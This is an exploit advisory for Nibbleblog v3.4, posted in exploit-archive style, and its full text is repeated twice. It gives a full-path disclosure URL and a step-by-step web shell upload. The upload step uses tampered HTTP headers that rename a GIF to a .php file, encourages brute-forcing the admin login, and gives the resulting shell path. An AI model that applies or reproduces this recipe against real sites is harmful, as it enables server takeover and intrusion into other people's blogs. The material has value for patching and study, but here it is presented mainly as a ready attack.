###
# Title : Nibbleblog v3.4 (ajax) <= (FD/FU) Multiple Vulnerabilities
# Author : KedAns-Dz
# E-mail : ked-h (@hotmail.com
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com .net .org
# FaCeb0ok : http://fb.me/Inj3ct0rK3d
# TwiTter : @kedans
# Friendly Sites : www.r00tw0rm.com * www.exploit-id.com
# Platform/CatID : php - Multiple
# Type : proof of concept - webapp 0day
# Tested on : Windows7
# Download : [http://garr.dl.sourceforge.net/project/nibbleblog/v3.4/nibbleblog-v3.4.2.zip]
###
# <3 <3 Greetings t0 Palestine <3 <3
# F-ck HaCking, Lov3 Explo8ting !
######## [ Proof / Exploit ] ################|=>
##################
# [!] Description:
------------------
Nibbleblog v3.4 is suffer from multiple vulnerabilities / bugs in
ajax-Uploader , the attacker can use some bug in the ajax-up plug
to Disclosure the Full Path , and the uploader is not protected !
after get admin auth ( use brute force or any way :p ) post new image
with TamperData (Shell-Included) and upload , use temper to find filename-hash to .
#########
#(1) FD (Disclosure the Full Path) :
------------------------------------
[!] http://[target]/[path]/admin/ajax/uploader.php
[+] http://127.0.0.1/nibbleblog/admin/ajax/uploader.php
[*] Proof image : (http://i49.tinypic.com/ev8ktx.png)
#(2) File/Shell Upload :
------------------------
[!] http://[target]/[path]/admin.php?controller=post&action=edit_simple&id_post=[ id ]
ex: [+] http://127.0.0.1/nibbleblog/admin.php?controller=post&action=edit_simple&id_post=2
ex: HTTP Headers : (TemperDATA):
________________________________
Host : 127.0.0.1
User-Agent :Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language : fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding : gzip, deflate
X-Requested-With : XMLHttpRequest
X-FILE-NAME : sh3lL.gif <= [ change it 2 ( *.php ) ]
Referer : http://127.0.0.1/nibbleblog/admin.php?controller=post&action=edit_simple&id_post=2
Content-Lenght : %{file_length}%
Content-Type : image/gif
POST_DATA : [ Shell Content h3re ]
__________________________________
[*] Proof image : (http://i46.tinypic.com/350nmdg.png)
-------------------
After upload shell-path : http://127.0.0.1/nibbleblog/content/public/upload/{File_Name_Hash}_0.php
ex image : (http://i49.tinypic.com/33lm52v.png)
########################
//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information
# Title : Nibbleblog v3.4 (ajax) <= (FD/FU) Multiple Vulnerabilities
# Author : KedAns-Dz
# E-mail : ked-h (@hotmail.com
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com .net .org
# FaCeb0ok : http://fb.me/Inj3ct0rK3d
# TwiTter : @kedans
# Friendly Sites : www.r00tw0rm.com * www.exploit-id.com
# Platform/CatID : php - Multiple
# Type : proof of concept - webapp 0day
# Tested on : Windows7
# Download : [http://garr.dl.sourceforge.net/project/nibbleblog/v3.4/nibbleblog-v3.4.2.zip]
###
# <3 <3 Greetings t0 Palestine <3 <3
# F-ck HaCking, Lov3 Explo8ting !
######## [ Proof / Exploit ] ################|=>
##################
# [!] Description:
------------------
Nibbleblog v3.4 is suffer from multiple vulnerabilities / bugs in
ajax-Uploader , the attacker can use some bug in the ajax-up plug
to Disclosure the Full Path , and the uploader is not protected !
after get admin auth ( use brute force or any way :p ) post new image
with TamperData (Shell-Included) and upload , use temper to find filename-hash to .
#########
#(1) FD (Disclosure the Full Path) :
------------------------------------
[!] http://[target]/[path]/admin/ajax/uploader.php
[+] http://127.0.0.1/nibbleblog/admin/ajax/uploader.php
[*] Proof image : (http://i49.tinypic.com/ev8ktx.png)
#(2) File/Shell Upload :
------------------------
[!] http://[target]/[path]/admin.php?controller=post&action=edit_simple&id_post=[ id ]
ex: [+] http://127.0.0.1/nibbleblog/admin.php?controller=post&action=edit_simple&id_post=2
ex: HTTP Headers : (TemperDATA):
________________________________
Host : 127.0.0.1
User-Agent :Mozilla/5.0 (Windows NT 6.1; rv:18.0) Gecko/20100101 Firefox/18.0
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language : fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding : gzip, deflate
X-Requested-With : XMLHttpRequest
X-FILE-NAME : sh3lL.gif <= [ change it 2 ( *.php ) ]
Referer : http://127.0.0.1/nibbleblog/admin.php?controller=post&action=edit_simple&id_post=2
Content-Lenght : %{file_length}%
Content-Type : image/gif
POST_DATA : [ Shell Content h3re ]
__________________________________
[*] Proof image : (http://i46.tinypic.com/350nmdg.png)
-------------------
After upload shell-path : http://127.0.0.1/nibbleblog/content/public/upload/{File_Name_Hash}_0.php
ex image : (http://i49.tinypic.com/33lm52v.png)
########################
//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. Bot24, Inc nor Bradley Sean Susser accepts
//responsibility for any damage caused by the use or misuse of
//this information